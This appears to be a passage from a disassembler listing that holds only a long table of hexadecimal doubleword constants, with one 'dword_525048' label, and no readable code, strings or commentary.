dd 0A737E607h, 0ABD01214h, 5E6FBAh, 0C8347CB0h, 2F95CAEFh
dd 0F700D973h, 2E4906FDh, 0EE2DC1Eh, 46AA6376h, 0A4F6EF60h
dd 0FF1F444Ch, 6D40DB3Fh, 0E3350317h, 46690062h, 4B55C41Dh
dd 0ED172BD4h, 62019A1Ch, 47B73652h, 0E6711872h, 0CDF8260Ch
dd 0F58E00FCh, 0CCDB39A3h, 9DFB10CAh, 85D45E00h, 0D371AAh
dd 2DEC097Ah, 1DDEFF5Fh, 0DC00C3ECh, 0C440459Ch, 1E2E75Bh
dd 0BF84F4D4h, 643723FEh, 2A005954h, 82E024EBh, 1F28BA39h
dd 0AEB07F44h, 238E0760h, 0BD542017h, 0DB00AB09h, 39CD110Dh
dd 7517889h, 7F0158EEh, 0BF68C025h, 0E91FAB8Dh, 0BD9C7948h
dd 0F90F2F80h, 0FB0832Bh, 29261963h, 3F778F8h, 5B73E116h
dd 0D9AA7060h, 0F07C7119h, 0C98D0374h, 0EA6201D3h, 695C1DB0h
dd 95549700h, 3DC2E17Eh, 15AF0024h, 6150B539h, 0FF06EB8h
dd 948FD700h, 7C2FD89Eh, 958A3FCFh, 9751E004h, 31EAC0A9h
dd 0FA16E740h, 6800B17Bh, 4361888Dh, 0D3DD00DBh, 0EDFE191Ch
dd 0E61D36BFh, 4B801A7Fh, 0AD687508h, 90D014D5h, 0E002906Eh
dd 74030AF7h, 5C9DD4A0h, 7E0025EDh, 0C5637F2h, 16DBEF50h
dd 0F406E7h, 745B55D8h, 7205D4E3h, 284285E6h, 9CA47480h
dd 3FCD18B4h, 7CD31031h, 4AF28300h, 0F5FA262Bh, 0B58D00D0h
dd 0D66D042Ah, 0C9EE14FBh, 0A203C000h, 425606E2h, 5C67730Dh
dd 0F100A8F2h, 5F79EF0Fh, 40093CBBh, 0E661F5h, 0B803E5C0h
dd 505200A8h, 15B1226Bh, 8900E4DDh, 0A93E4AA2h, 3159CDh
dd 82887926h, 0D5B65828h, 69784E09h, 0AB3C60E8h, 0C7430070h
dd 19511BD4h, 0BC187211h, 7EE80FCAh, 4AE1CFDh, 1FCC2675h
dd 8F64071Ah, 350E5159h, 0BA199296h, 76343B00h, 1EF353h
dd 425A26C0h, 890FB2AEh, 0DB5B9305h, 60C10B50h, 52F48C9Ah
dd 1413A65h, 4A770BFFh, 482D607h, 0CCC00E33h, 2F3EDCDFh
dd 7E00F587h, 4DEF29B3h, 70C258Ah, 0FD11FCD7h, 7074F093h
dd 21E77F40h, 920ED038h, 0F275B300h, 0AA05DE0Ah, 0C7101DBh
dd 95F60D69h, 0C51430DAh, 2F13FB79h, 19000E5Dh, 0F442B890h
dd 0ABF0308h, 6C301462h, 1DC73600h, 38D12E2Fh, 0FE767Ch
dd 6B09CB10h, 874B0EBDh, 9626C403h, 0F9315878h, 3D70944Fh
dd 0EAB0A008h, 427D092Dh, 0A4204DBEh, 0D1B4AA8Fh, 25FAFD09h
dd 0B0F8A0C0h, 0FBDFA4h, 9E68080Ch, 3D91715Bh, 3AB9DD0Eh
dd 0C550C0B5h, 4C973824h, 0F077F0F9h, 4B9A16BFh, 2F590AF1h
dd 44A9098Ah, 39412780h, 0B40EC888h, 6F3E503Ah, 9CE2A05Dh
dd 37B0E4h, 5B2A0313h, 0DA4B1BA0h, 0D3A8C800h, 95609F8Ah
dd 0FC3C004Ch, 0E86AAE6Eh, 0A767093Bh, 0CB404D48h, 99EADCh
dd 0D6026633h, 5E79DA4Eh, 88381E00h, 263DDF53h, 615B0014h
dd 77F1191Ah, 7900A712h, 981C5025h, 75C89D93h, 45D80769h
dd 0B07768AEh, 2F740228h, 464BF80Eh, 22C0DEB2h, 53E4ECB7h
dd 26D7B39h, 957F1884h, 5C0C481h, 0E0B85175h, 0B8E15800h
dd 1CBF4F45h, 1449240Ch, 0F53BC0h, 4E33D215h, 0D4FC8AC2h
dd 12F60103h, 88A5B7E5h, 0B01050BAh, 683409B4h, 5CA0F729h
dd 0DC7F4859h, 0F8C1E400h, 678893F2h, 84B55087h, 81E9006Ah
dd 24861620h, 1005366h, 87795E05h, 759315A4h, 1E3100B3h
dd 713927E2h, 0F450DBDCh, 0BC000CABh, 6234F1E0h, 5B0EF8h
dd 25E9A85Ah, 1D44FFB9h, 99946900h, 1BD14A35h, 0A6B70453h
dd 0E1173FD5h, 173CD948h, 0F1B35110h, 0B0D80F6Eh, 9D4C05B8h
dd 0F40756C0h, 0F57EFEECh, 50A2C160h, 762C01D5h, 14273A8h
dd 846E70A0h, 0A303791Fh, 77D69B86h, 0E5E12760h, 0BA6ECC00h
dd 7100E046h, 296A900Dh, 7DCF9F6h, 9277FEE9h, 4853B091h
dd 641C4324h, 6A005F15h, 0B804B02Bh, 5DFE11h, 855946A0h
dd 0EC829B94h, 0A96ACCA0h, 138EE3Ah, 0B6906C21h, 0EBCCD7F8h
dd 2BF61Fh, 9E469A7Ah, 0C634DC09h, 0B703AF73h, 0D2555E48h
dd 3A80077Ch, 10FF0B1h, 0CB6FD45Bh, 8F1325B8h, 3D667809h
dd 6DA98077h, 0A17D71h, 271C5219h, 0D5326CE1h, 18034C00h
dd 5D17939Ch, 87190329h, 0BD9AF48Ah, 126561F0h, 0DCD70401h
dd 5618A871h, 1FC589FCh, 43D34663h, 211FA4FFh, 0F12B48F8h
dd 85819D00h, 0DE026B91h, 1FE0F206h, 1C9C083h, 0E78C3C45h
dd 877030E1h, 4BEA1100h, 428040CCh, 9C10221h, 0A1D49EDAh
dd 0C9745C60h, 4B894C01h, 0E6F8A6A2h, 3B1E3E8h, 0C6BF9878h
dd 18C92B44h, 0A75D48Eh, 5E846A01h, 0C040689Bh, 7A00742Ch
dd 0D48874D3h, 0E03D567h, 0C845149h, 7F12C87Eh, 0F9A7CE6h
dd 38F6FF45h, 2F160F5Fh, 66922821h, 0E39EE85Ah, 0B058E90Bh
dd 91C48A67h, 1A05614h, 1AC2C592h, 8DE99A2Ah, 1900683Ch
dd 0FD03E09Bh, 0B6F64A29h, 87669E00h, 0AB69F355h, 0A0A2007Fh
dd 5E58B4D5h, 0FFEA7DCBh, 5C8C6602h, 638235C0h, 0F7949098h
dd 0EE7E22Bh, 158D8825h, 0EE1090A0h, 30F833Eh, 0E04A8205h
dd 0FEE8C013h, 92910049h, 11153CD2h, 1D00C8E2h, 0C30F3EDFh
dd 2E700A94h, 0EF8B14Ah, 0C5603A4Dh, 0B9E4CB56h, 761BB400h
dd 0CDBE0BF7h, 30FF0116h, 0FE27ED97h, 8981D4EFh, 508DC104h
dd 6E80F721h, 23BEA2Bh, 4EE6A287h, 0E3602CA0h, 0C20006C7h
dd 0FEC85B2h, 1D37D0h, 8BD8FCA2h, 3E27F628h, 6726F501h
dd 7030FE66h, 1480EF44h, 0A612CDh, 0C92927E9h, 42DF825Fh
dd 89056D78h, 59DB2EE0h, 5CD0E600h, 9153F9Bh, 62A6BA65h
dd 0BD354800h, 0FC00C875h, 7B444208h, 50727CBh, 1885733h
dd 9E80BA47h, 46CC21h, 1876858Dh, 0A5A224CBh, 0D8BDBCFEh
dd 6B49001Ch, 3F7E81C8h, 0D948CC2Fh, 0AA530054h, 0D5EE02EFh
dd 0DD392465h, 8AF1008Eh, 0B36BFA38h, 0DFEDAB0Ch, 17B36E5h
dd 0FF2AA8Eh, 0C0288C65h, 0A700995Dh, 9E231A9h, 92A1F81Eh
dd 27D5E654h, 0C81C9A60h, 0DAE6DF00h, 510E87ABh, 0B97A0016h
dd 6DCE4A4Ch, 600B7CCh, 11B48408h, 217975Dh, 99043D3Ah
dd 843ED4Ch, 0D5D430CFh, 0D39067DAh, 4F0DF700h, 10F4A577h
dd 9B8100EBh, 224563CEh, 7501C13Dh, 937CC30Ch, 0D5C98204h
dd 33C4E3EDh, 4C12006Bh, 8AAFCCB0h, 0BC008840h, 3A0CA0B3h
dd 954B85h, 64FFCD4Ah, 0F3891CBAh, 0FDD66700h, 31516CADh
dd 0F20C1C21h, 2EF980D4h, 6B4D3712h, 0C6015B98h, 0C20925F7h
dd 7C2045B0h, 0DFB0035h, 0B7ED9A32h, 9E00026Ch, 20112CC8h
dd 35F70DFh, 171857B1h, 6FD85E63h, 0E9FAE106h, 0CD5AFB0Fh
dd 89CE83h, 0B080614Dh, 6C261D16h, 0E5434CD7h, 6200B760h
dd 8A842E7Eh, 0F34080h, 0EB27A1FFh, 0A6ABD11Ah, 2F556412h
dd 4EB00C80h, 3F1531DFh, 0D0C71E20h, 91181F34h, 0E351A901h
dd 0F10400D1h, 634EBB5Eh, 24E8846Fh, 0D8BA7A00h, 0ABD2E52Dh
dd 4B6C01DEh, 0A9BEF814h, 1F388350h, 0E367EB4Fh, 8041F551h
dd 2B2326ECh, 6F328180h, 44A6BF66h, 6DF7FF14h, 0DA7C0014h
dd 0C37EDC80h, 0C6E50CDh, 4CA05002h, 1AB0CF15h, 3B8A3E8Eh
dd 90EA4020h, 0B7013040h, 24B620A3h, 6E0612Dh, 22D700D9h
dd 39D36CAh, 1900AD57h, 0D4B9510h, 56960Fh, 0FD4DECB0h
dd 13FBC191h, 37829E01h, 6C20BF53h, 19283D0h, 1EA0D38Eh
dd 0C5A77CBEh, 9BA0FB21h, 483AAFECh, 0D3568025h, 0A3CC50D9h
dd 0A0C00F1Ch, 0BA6ED8E6h, 0A9B90BC6h, 98F6AD00h, 0BDE2B16Fh
dd 51610092h, 0A25F214h
dword_525048 dd 0EC161586h, 4C3855Fh, 9C4EDD74h, 0F0D2216Fh, 83D82B0Dh
dd 49E70330h, 62CF5A5Fh, 9E3619F8h, 3010CD30h, 30CC9939h
dd 6D488F54h, 0D1069720h, 0E70B930Ch, 84FE89h, 4AAD8C42h
dd 63BF9C85h, 4BB79600h, 55D617E7h, 71F70087h, 0E99014BEh
dd 5D7ABD36h, 0F65CA107h, 3372D009h, 0D833E3B7h, 3058B257h
dd 8AB1297Eh, 1439E1FAh, 0D03C80BAh, 0F86BF027h, 73153FB2h
dd 0F8EC397h, 78800B88h, 14A8D001h, 30F0895Ah, 44F09753h
dd 0A4AEC600h, 0A7D6DE81h, 0D33000FAh, 20EE2D4Ah, 9F1B670Eh
dd 0E041BAFEh, 0D4C4F7h, 55886D85h, 0C0398151h, 0CC135600h
dd 9F573099h, 178BDADh, 54F89D78h, 0D7687500h, 2C4186DEh
dd 6B9800FAh, 56E3249Ah, 71050CF6h, 513913F1h, 8B451408h
dd 9A888931h, 6ACC00EDh, 8A27D55Ch, 9D01E8EAh, 1F57F680h
dd 0DE604F83h, 9A1800BFh, 45D622EFh, 490E9C78h, 230E6Eh
dd 801D4FFEh, 0CE830057h, 0DA9E6A77h, 0C9000BCAh, 5E1BF564h
dd 1E197F2Fh, 803B3428h, 0E5B07605h, 2C7542F8h, 0A73D5B7Eh
dd 0CC790088h, 0A9222A8Eh, 0F2E81Eh, 64F93C1h, 0EBEDD477h
dd 0B8FBE00h, 88709782h, 84A39Eh, 3E2504CEh, 7B645D0Ah
dd 6EEFE78h, 8CDA5906h, 360B80Eh, 8721D2B2h, 0C6E881F2h
dd 0DB00F4DDh, 97BD9111h, 931CF8h, 0D92B0E8Ah, 0B9A0741h
dd 5BFC6500h, 3A4FF238h, 635C0B0Ch, 2003CF1h, 0EFE980F4h
dd 932CEAA0h, 18003FE2h, 74681519h, 0BCA7E8h, 14F59B36h
dd 942C9AAAh, 803DF93Ah, 84B3698Fh, 0EA227Dh, 0E332D949h
dd 57E925A1h, 12FB9200h, 0BE55ADA7h, 12B6EA9Dh, 1CBC436h
dd 72056604h, 1A5DE474h, 0E800F390h, 0A64CDF8Dh, 609551h
dd 36098AF8h, 0D8C73C1Ch, 6DACCB01h, 0BA1DDD85h, 3EA76FFCh
dd 0EE00776Ah, 0F01574FEh, 89388739h, 7603FBAEh, 187F4136h
dd 491802F2h, 84CDC933h, 0BA05F085h, 71220BC0h, 0F9D10EBCh
dd 0FA07FC45h, 5814804Fh, 0C60041F7h, 0DAC49B01h, 1899A7BBh
dd 409AA3A6h, 0D4013ACCh, 43E6A1B3h, 85CC5F19h, 74F14809h
dd 556D4A0Fh, 0E89ED4C0h, 7200AACAh, 9C61BB44h, 1EB741F5h
dd 4CF2C4h, 11B8D0D2h, 35003C85h, 0DFF49189h, 17AA204h
dd 97653390h, 80665303h, 9C712E79h, 0D18FFBh, 682FF926h
dd 608C532Ah, 66F70300h, 15EA14BBh, 0ACBA1832h, 0C8ED10ABh
dd 0A47D6C17h, 0C1979200h, 0F0B16A5h, 8E6D251h, 8D4B25h
dd 1E3713CCh, 5F00073Dh, 0DBC50594h, 59EAFCh, 381BBBEDh
dd 96DE8BA6h, 0A8E83300h, 9C2677Eh, 0CCE3095Fh, 0D700770Ah
dd 0DF5B87F0h, 8C75411Ch, 4804AE40h, 0FE7C98h, 3177096Eh
dd 0AD841E57h, 0A276FC00h, 0E09D509Fh, 44DD0EB2h, 81A08EBCh
dd 9AED6797h, 518398C7h, 0CE0AE8F0h, 155766Fh, 43FE630Fh
dd 8085A602h, 8974F410h, 6F1A028h, 0B0F93579h, 5EEAD8CDh
dd 1EED9400h, 7EAF87D4h, 256600BEh, 0E776CF7h, 6F9038A3h
dd 0C0E38D00h, 92709C68h, 0FAC2003Dh, 0CF693119h, 0A200FF47h
dd 44795556h, 1FD71E1Ch, 12F9A8h, 52749015h, 0FA7DAC78h
dd 7B285Ch, 0CAE5929Dh, 0D308Eh, 0F4C577C4h, 50E296B9h
dd 3C7539h, 6EC38271h, 81A8E0h, 7D4C7B76h, 0DE1B5542h
dd 5D2F1803h, 26C2A07Ah, 80AC32C8h, 0EFE11CCh, 8003B3DBh
dd 0B62DE896h, 5E84E8F0h, 9A7032Ah, 0D873D0A5h, 499F22D8h
dd 6AD27200h, 0F132F7CFh, 9486093Eh, 9020998Fh, 9A5FE3DDh
dd 1684FA00h, 6335A825h, 59021C57h, 0DC1C02D0h, 0A48799ABh
dd 12CF20F7h, 0BA4E42BDh, 5120CBE1h, 507848C9h, 29E5AD09h
dd 902488A7h, 344D18D4h, 72300B78h, 4C9C1817h, 98EE7F2Fh
dd 79A3008Ch, 0A1930365h, 6700100Fh, 0B82FEABCh, 2D1FD7h
dd 153A75F4h, 5DCD0D31h, 0B0E9B138h, 3C1E70BCh, 6697946h
dd 0B9E47DDCh, 0C90118B3h, 0DD3B8C33h, 0CC2014BAh, 21940089h
dd 13EE47B0h, 0C00A7C6h, 0AF1E0122h, 0A3B448EDh, 194DE8F0h
dd 0D1160047h, 986FA127h, 0E005538Eh, 0DB513804h, 678C980Fh
dd 0AAD0F3C9h, 321CA84h, 99022D3Eh, 54D009D4h, 1D986185h
dd 3443ED00h, 0B35F641Ch, 840D00FEh, 8D27712Ch, 8C005241h
dd 201A2BD4h, 0AF693Fh, 2AD3B1C2h, 0A5E94AF4h, 380D9F03h
dd 8E7074h, 0D09D01C9h, 831B5137h, 633CAF0Fh, 0F69E6002h
dd 13B820h, 9AC2F18Fh, 80125B10h, 2EE8B78h, 1ABF0700h
dd 0ACC7228Dh, 1FFE12CCh, 0B369000Ch, 2EFAC88Bh, 746CB3Ch
dd 0CD7EA48Ah, 8EF52280h, 0C4A04897h, 2DFCCC03h, 0AFD0430Fh
dd 0E6004A68h, 387382A8h, 9AD9B2C9h, 0C0713F24h, 0D500FC59h
dd 0D6B4F9A0h, 4012F818h, 0CC06AA55h, 31048CBh, 9E1F6EFCh
dd 19C01701h, 18BA108Fh, 0D65FDF07h, 0A07371AFh, 66DDF8C9h
dd 159FA52h, 0F5700765h, 0F44704B4h, 0D10CD6C7h, 794E3D42h
dd 0D9B101C9h, 50305720h, 295F7094h, 0B9601860h, 4A1FAEh
dd 8009CBCCh, 5FA57B0h, 4D422100h, 3162D70Eh, 26D000EEh
dd 12695872h, 2100C929h, 9C399993h, 37A6105h, 0A0BD5BBFh
dd 68D24CDDh, 40FBD860h, 30158E03h, 0E0DEC37Eh, 8869C9h
dd 2FCC8490h, 8CCD323Fh, 4DDF1603h, 0C9135E23h, 8870E61Fh
dd 86103C7Ch, 8547F600h, 4C0FFF55h, 0C5AA6C1Fh, 22FE3880h
dd 5630540h, 6981315Ch, 9756834Ah, 0D391CAA0h, 0D1275007h
dd 0E6B0DDEEh, 0AA8539h, 0E9D85F2Ah, 808EB813h, 0EAFD2300h
dd 67347A70h, 6CE82CA5h, 0BC4800DDh, 80CC4DCAh, 0D52ADA7Ah
dd 4F16FC9Fh, 0EABFCD3h, 47007A92h, 0AFE3C4A3h, 0A9944E1Dh
dd 8B93DB01h, 308314A7h, 1209E70Dh, 402672D1h, 589D44CCh
dd 803CFA38h, 0CDB23B2Ch, 0D20BBBh, 0F51A3725h, 84175D3Eh
dd 11472804h, 66C3756Ah, 96500033h, 4FC60DE0h, 8900C8E8h
dd 9C14FDDAh, 4F4F9EAh, 0FBDFC1A7h, 0A04090DCh, 0D000CA2Ah
dd 0C794EBF1h, 3D95BAA5h, 4CBA6F70h, 1A221Fh, 72B0B149h
dd 9A674096h, 80CE1EE9h, 0A03EDA1Fh, 199E6F44h, 455504A0h
dd 0FB33B122h, 0F83869ABh, 0BE5958h, 0D050EDA4h, 4403F5AEh
dd 4A84848h, 77E487BDh, 4FD4D780h, 9058004Bh, 44C37FE1h
dd 0AA615E95h, 2E2192E1h, 0F247C24h, 0CB124F01h, 0B1DF5FA0h
dd 0DC00EA9Dh, 5B1A3BE3h, 50690Ch, 0C22F73BEh, 98CC45DAh
dd 7F70B776h, 0C4820201h, 998E6890h, 4979CCh, 0CB191B67h
dd 3A36321Fh, 0D7B9C6A0h, 0C8B86F00h, 2B57FD58h, 28C40351h
dd 491B48Dh, 177ACCA0h, 67FC1900h, 8A3796BBh, 0D7973B9Fh
dd 8927718h, 20C08218h, 0B2397EDBh, 34B500F4h, 0B35EC3FBh
dd 0F5ECEA91h, 4C80671Eh, 877388F0h, 0B35038Ah, 477EC669h
dd 0CA905998h, 9FF8BC0Eh, 2687E0D4h, 33FB3350h, 1A48E94Fh
dd 4C058929h, 60181459h, 34614800h, 0CC5D2908h, 3D180053h
dd 0A71D91AEh, 0E00A5E02h, 946F1450h, 409FFC0Fh, 0D3F53FA5h
dd 625B031Dh, 99EAC8C9h, 596407B8h, 0A27230CFh, 0A0F846D9h
dd 5EF45CB0h, 0B753037Ch, 0AF7952C3h, 21A10830h, 5A6CB5h
dd 95942BF5h, 33578373h, 5B8FE400h, 6FD8071Bh, 86506023h
dd 0BDE2AD81h, 8D9AA1Dh, 25921140h, 0FA4A8B14h, 7E27001Bh
dd 91B7E662h, 8005886h, 18E21DDBh, 3C3D1A68h, 0A902E481h
dd 4F648D07h, 0EEF569E0h, 667F20Fh, 17ED43F8h, 7EA3E0CDh
dd 0AE870022h, 41E55647h, 0A9183F3Dh, 765C010Fh, 0BFC003Bh
dd 70FB9D9Bh, 66002342h
dd 371CD7C4h, 3D73B2h, 7FD54F1Eh, 4B8BC558h, 61800100h
dd 0B2205917h, 0AFCE001Dh, 2F6AD0D7h, 0A407A89Ch, 0B6571EC5h
dd 0FA7F1930h, 0BB5200D1h, 0FC1305A6h, 4301DFDCh, 0FE5190C2h
dd 0CEFC3BC0h, 0E99207A7h, 91642F8Fh, 983D2575h, 0F2212609h
dd 188E1C06h, 73CF0064h, 154E57BAh, 4B39E800h, 9BB98283h
dd 30696017h, 0CC7E3E7Ah, 0B832A700h, 38B5F821h, 0D0AF0D4Bh
dd 9F189BBEh, 0ED863D28h, 11B072h, 0DBE1387h, 0D522AEA8h
dd 1DB6281Dh, 26216F18h, 42C1006Bh, 0CB632D5Dh, 80600594h
dd 4A5FA569h, 0AD0B1E96h, 0BD5580A1h, 2A5D5A2Dh, 12016A00h
dd 0E8DBE171h, 0E93818CAh, 40F2397Dh, 86956300h, 0FBF684DDh
dd 30837414h, 3B20C92Eh, 1A006378h, 181C4415h, 0CB74E681h
dd 6D88C091h, 0E80E0090h, 51B13CC1h, 50827C00h, 0FD20542Fh
dd 66AA02DFh, 7A1CA707h, 0A8B49C83h, 1DB01010h, 0EFE71300h
dd 5368BF0Bh, 0ED00DFE4h, 506CD48Ah, 711C87h, 37556D30h
dd 1972EC98h, 0F2EF5E00h, 7FDE3F0Ch, 0A01C1E35h, 5C59C1A5h
dd 0FCB2E0A9h, 1800FB3Bh, 810A2AC1h, 0BCB01Eh, 54E44BD5h
dd 8CACD60Fh, 8600257Dh, 44492A1Ch, 4B9108h, 0CB3E2ECFh
dd 1EA8BCFCh, 21039A00h, 0DF703CCAh, 50EFA18Fh, 0FD3F70h
dd 23C1CD6Ah, 4D3D97CCh, 8B10A760h, 0B322212h, 81D0B153h
dd 4329AE00h, 1B00232Fh, 2EB38D78h, 1288C8h, 4B01E93Eh
dd 38E2090Ah, 88431D37h, 80D9D082h, 7A0B17A2h, 7D401EDCh
dd 0AFFB4FE4h, 651B2C80h, 0D40036B0h, 32551126h, 11052A1h
dd 0EFB5301Fh, 0C3476541h, 60673038h, 6233859h, 152B0026h
dd 0DCF3814Bh, 8BB0356Dh, 0E3AE6000h, 0BBD743BEh, 44C10187h
dd 63BB996h, 0B108FACh, 1F02E7A6h, 0B9F3BEE3h, 0ADD02D7Eh
dd 9350084h, 7D3C4591h, 264F8C0h, 0DC403078h, 0A98C5B86h
dd 0F36C9E00h, 0DE37CD8Bh, 0F135241Bh, 0FEAD008Fh, 2CF05A7Dh
dd 0B010EB00h, 7090D9D2h, 0B56700D0h, 50E79885h, 93E282CEh
dd 8F214100h, 78607C06h, 2E7B005Fh, 5896976Ch, 47302920h
dd 4BB1312Ah, 42A007B9h, 0E0E5F78Bh, 0BA76908Ah, 0C150E800h
dd 261AB8ADh, 3600E328h, 9C0041E7h, 10A86A42h, 1A76F7h
dd 7F948647h, 2D0565CAh, 61299F30h, 0FA3FF9h, 97AD3923h
dd 0F5440D0Ch, 8AC80F00h, 486AB58Fh, 0EF35007Ch, 1B66BBB4h
dd 0E3607A80h, 4F8D8588h, 0A03D0656h, 1861ACAAh, 0A45D5C06h
dd 0B080B581h, 60577078h, 1FC0719Fh, 7C0066E3h, 4069069Eh
dd 0E13EFh, 0ADDE1E8Eh, 4886DF1Ah, 0C6F855Ch, 48906E9Eh
dd 242600E1h, 2973F4A1h, 51DFD64Bh, 475C4F00h, 288FBBBAh
dd 1E8C62BFh, 24F00873h, 0AE2B00B9h, 9248C826h, 7612BE00h
dd 5EC9F4DAh, 2E9F3F6Fh, 0D8B960E0h, 0F7007898h, 7BE37DDEh
dd 5FA1C3h, 0E71B8918h, 983DBDC0h, 0A584D307h, 0B6503809h
dd 0F0627178h, 9CFB039Fh, 2E74CE80h, 4F84B9D8h, 2DAA1D00h
dd 26277AE5h, 0DC6203E8h, 0EA019947h, 36B303Ch, 7033368Eh
dd 20A64Dh, 0F25CF30Fh, 4ED43FC4h, 0A57D3E00h, 0BD2670E2h
dd 3C8400B8h, 376A0347h, 9F301763h, 0F5CB6040h, 5E821F7Bh
dd 905D4FAEh, 49452020h, 96006E3Bh, 8CA9B53Fh, 19D557h
dd 65F06C69h, 39093082h, 80A6751Eh, 0E7B6C900h, 0DE2FABh
dd 0B46BB73Bh, 3607399h, 28128700h, 18DBD48h, 0E5881F32h
dd 4E140063h, 31684F29h, 404A3C00h, 1077B497h, 471B04FAh
dd 83C8BE22h, 16F3A2B2h, 5D4944F0h, 0C417690Fh, 2B3A4055h
dd 1B83989Dh, 284386CAh, 520751C0h, 0C2E06405h, 0E0807E31h
dd 0ED219F6h, 4F412E96h, 990D60A0h, 0C248F0C5h, 976F0372h
dd 0E05F8440h, 0FE27655Bh, 0C0E57A80h, 0BF66A298h, 3300D172h
dd 46CA487Eh, 3D95D2B3h, 140C4F23h, 3ED8B988h, 3C6861Dh
dd 0E03856D8h, 0C5F70029h, 0A3FC305Eh, 0FB7426C2h, 0D8C086EEh
dd 0C4F7347Bh, 1C847751h, 80383D5Eh, 0E9053B67h, 0B30C24BAh
dd 0A8316971h, 110E18A3h, 35AC1846h, 48C3211Bh, 4D2A9068h
dd 0E730031h, 1179783h, 3CE89EDBh, 0C6C18CA8h, 0C7C83000h
dd 9545364Ch, 42DA37F4h, 195300E1h, 0BF01D331h, 0AE04603Bh
dd 97D82254h, 0E45D0069h, 28747C3h, 0A0008427h, 3D99CFBEh
dd 0FD1316h, 0F8D9EF03h, 0E0A4E436h, 17D6B500h, 5308941Dh
dd 42880011h, 0DCC6DB7Ch, 1A00C078h, 82B95B2Ah, 81F80Bh
dd 5F3AB69Eh, 14F5A607h, 0B998D676h, 54E3007h, 5B10A0EDh
dd 0CC9A285Dh, 9521F008h, 8B07F503h, 0A0EF342Dh, 1CC4183Ah
dd 40784D39h, 91C61D9Fh, 1B001479h, 5D0018Ah, 6F8DF346h
dd 0FF004065h, 0B87EE62Eh, 81FD9903h, 0A108F1DFh, 208047E9h
dd 4541F7AAh, 0AC00FC7Fh, 0E0C85E67h, 37B9C4F8h, 6389D15Fh
dd 117FAAEAh, 1913D630h, 708346Dh, 0B061DA4Eh, 3F9D934Dh
dd 130E923h, 0A0440547h, 0B91898h, 900240A6h, 4E2D07F2h
dd 63D76B03h, 0A89C38DAh, 0CFA61A8h, 0B9012CE9h, 0AD0FB159h
dd 8537ECh, 2BAF636Eh, 50190066h, 0CE40E84Eh, 0C4E0C54Bh
dd 1ED1FC07h, 1C0025Bh, 0ECBD8A1Fh, 5A92008Fh, 0B8463C2Dh
dd 9D3A04F3h, 732F8039h, 0ED7A770Ch, 99543940h, 182A2503h
dd 0E2909E5Ah, 760E222Eh, 20F9AC44h, 0EAB1E668h, 1CA57C11h
dd 4016D395h, 82B55339h, 120FF910h, 818CD73Ch, 5D3F45DEh
dd 7886E5C8h, 823E076Eh, 40413AB9h, 1BF51561h, 0C200D4B0h
dd 0A8BF8320h, 3C8E5717h, 0F42CED7Eh, 0BEAA0087h, 5F14FC1h
dd 0B882400Ch, 610872h, 0F9387908h, 0EC8D0AB7h, 0E4D6730Bh
dd 0E561801Dh, 60A941CFh, 0BEA6C44Fh, 0E91E94DEh, 908EBF8Bh
dd 61F00E59h, 87BD893Fh, 1E955BE8h, 0B8154Eh, 0FA070A97h
dd 4C168019h, 2600ECBBh, 60938A71h, 898D3h, 9C745EB7h
dd 72D58E06h, 0A96FA200h, 1E623FAEh, 4A560301h, 3B5418A7h
dd 0C8C078AEh, 1EE6E775h, 0BB5903DFh, 69999F15h, 33D713B8h
dd 8E04D116h, 41478B00h, 3B1E6AF5h, 0BF1DDE07h, 911FCAh
dd 0EB0D8E20h, 7C008B71h, 0DC1F2C80h, 1F8AF1ECh, 0F0EFB617h
dd 88A3F408h, 63FC900h, 0CC81C2Dh, 86DE0044h, 0ECB20E8Bh
dd 0B607191Fh, 8C6422F1h, 0CFCC2900h, 3C7F24BFh, 33BD06E2h
dd 5E300884h, 0D3A5204Ch, 5FC103C0h, 0E37A1C2h, 36EA7AF0h
dd 98421100h, 0E7206912h, 0F09900EBh, 65286761h, 0F33A6DE2h
dd 251F7C8Ah, 5130647Dh, 1806B26Ch, 114B3163h, 101F2D2Ch
dd 0D05C1199h, 0DDA2CB07h, 706B103h, 56158A20h, 0A0300397h
dd 123E4B0h, 4192D930h, 7E993D6h, 4E0AEBBBh, 1A00DB17h
dd 4075CEB7h, 61CCC501h, 0FE7D9BE2h, 611A09Fh, 18D60FACh
dd 0F87B3B10h, 29743504h, 0BC78C09Dh, 793C9654h, 28FA0069h
dd 0C5578F2Bh, 0D43700E1h, 10758AD5h, 0A800694Ch, 9C971703h
dd 779A36h, 0E009FB6Eh, 0ED2A427Ah, 0AAE4F103h, 0CB52DC13h
dd 34D2B730h, 89B26076h, 0BF2A002Eh, 35B9F43Dh, 92039684h
dd 48FC4112h, 0F1081C37h, 152CD8h, 5074527Fh, 18C042DCh
dd 55C9C2E4h, 8E7C0C6Ah, 50313448h, 3C837000h, 0D50D28D0h
dd 0B7EA3B3Bh, 1F551BFh, 0EEB9360Eh, 0E6703AC0h, 64296DE0h
dd 58DC747Ah, 0B9E8B586h, 0A18400A0h, 1395E0E1h, 0B13A6EC6h
dd 7D6080A2h, 6211588Eh, 4C4300DBh, 4BCCFCEEh, 6F002B79h
dd 0E3DD3DFh, 0DCEB67C7h, 0D8BCC0A8h, 3B72429Eh, 5C379C0Ch
dd 14AA71F8h, 80EF55A2h
dd 30C66F7Bh, 11174B80h, 0FE1E9CF0h, 0B500C2D9h, 0BD1C3355h
dd 0CE597D0Fh, 0D480C729h, 7A3A3C93h, 0CCC48205h, 28C0CEF2h
dd 83FDEh, 58528B09h, 3BCDE09Fh, 74968700h, 5F9C3E2Dh
dd 0B6F5006Bh, 0BEAD5420h, 0F4007CAAh, 566DE6C2h, 0F1610CAh
dd 0BC5AD132h, 1C02A241h, 0B843DC71h, 0D7F14500h, 0B4BBD639h
dd 782F1832h, 43EF3973h, 61AE8401h, 0BD7722EBh, 48ADF0h
dd 1F3B53D6h, 0CA95FB37h, 7F098FF8h, 87202B5Dh, 3EE7FFFEh
dd 0E0764022h, 3082A6F8h, 5640E19Fh, 0E901A019h, 0CF2242Dh
dd 3841C091h, 0EAE4FAF3h, 8EF024F9h, 14BD0026h, 0DB22622h
dd 3D339E01h, 630B16D7h, 7093E8h, 1D50B5AAh, 0FCA807ABh
dd 48B1BD00h, 0A3B65B16h, 23030190h, 8A2B5993h, 80F9F88Bh
dd 3D4B0B18h, 6760EA0h, 84E275Ch, 0CE4303Ah, 5BA9C460h
dd 7863B10Fh, 1A890CBh, 8175DFD2h, 0D46F741Eh, 86004FE8h
dd 3C9FB80h, 5C1FE0h, 34C8321Bh, 7D7A2E65h, 41B9A701h
dd 0BB04C58Ch, 756AD0h, 6BC1DF0Eh, 78444746h, 2CEAD101h
